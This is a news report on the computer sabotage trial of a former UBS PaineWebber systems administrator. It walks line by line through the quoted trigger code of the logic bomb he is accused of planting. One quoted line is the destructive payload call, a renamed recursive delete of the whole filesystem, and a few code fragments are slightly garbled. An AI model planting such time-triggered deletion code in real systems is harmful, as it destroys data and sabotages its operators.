How A Trigger Set Off A Logic Bomb At UBS PaineWebber

A forensics investigator testifying at the computer sabotage trial of a former systems administrator for UBS PaineWebber last week gave the jury an inside look at the trigger to the logic bomb that wreaked havoc on the UBS trading network in 2002.

Keith Jones, director of computer forensics and incident response at Mandiant, drilled into key elements of the logic flow underlying the trigger. The defendant, Roger Duronio, was a three-year employee of UBS who quit weeks before the bomb went off. The prosecution contends he was disgruntled and set off the logic bomb to seek revenge for a short bonus that year.

"wait_tst.c.txt" is the original name of the source code.

The line that says "time_t Clock;" was setting up storage space on the server on which the trigger was planted.

The line "while(TRUE) {" keeps the trigger running and prompts a logic flow of questions (when this is true, do this, etc.)

The line "if(tm->tm_mon ==2 || tm->tm_mon==3|| tm->tm_mon==4)" means if the month is March, April or May, go to the next step. If not,

The line "if(tm->tm_wday==1) {" means if the day is Monday go to the next step, if not sleep for one day.

The line "if (tm->tm_hour =>9) {" means if it's 9 a.m. or later, go to next step, if not, sleep for one hour

The line "if(tm->tm_min >=30) {" means if minute is 30 (i.e., 9:30), go to next step, if not, sleep for 60 seconds

The line "system("/usr/sbin/mrm -r / &");" is the line that calls the payload of the logic bomb that actually caused the destruction.

Jones, the government's star witness in the trial, laid out the logic flow of the code during court last Thursday and Friday.

In additional testimony, Jones said the trigger was found on Duronio's two home computers, on a hard-copy printout on a dresser in his home and on UBS systems. The government found the payload or malicious code, this trigger, the program's persistence mechanism and a distribution mechanism on a central UBS server in Weehawken, N.J., as well as on the branch servers. The trigger detailed above was found to be installed on each of the company's servers twice.